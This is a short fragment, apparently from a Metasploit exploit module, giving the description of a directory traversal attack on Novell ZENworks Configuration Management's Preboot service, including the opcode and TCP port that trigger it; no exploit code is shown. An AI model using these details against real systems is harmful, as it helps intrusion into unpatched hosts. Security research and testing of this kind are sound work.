'Description' => %q{  
This module exploits a directory traversal in the ZENworks Configuration Management.  
The vulnerability exists in the Preboot service and can be triggered by sending a specially  
crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been  
successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.
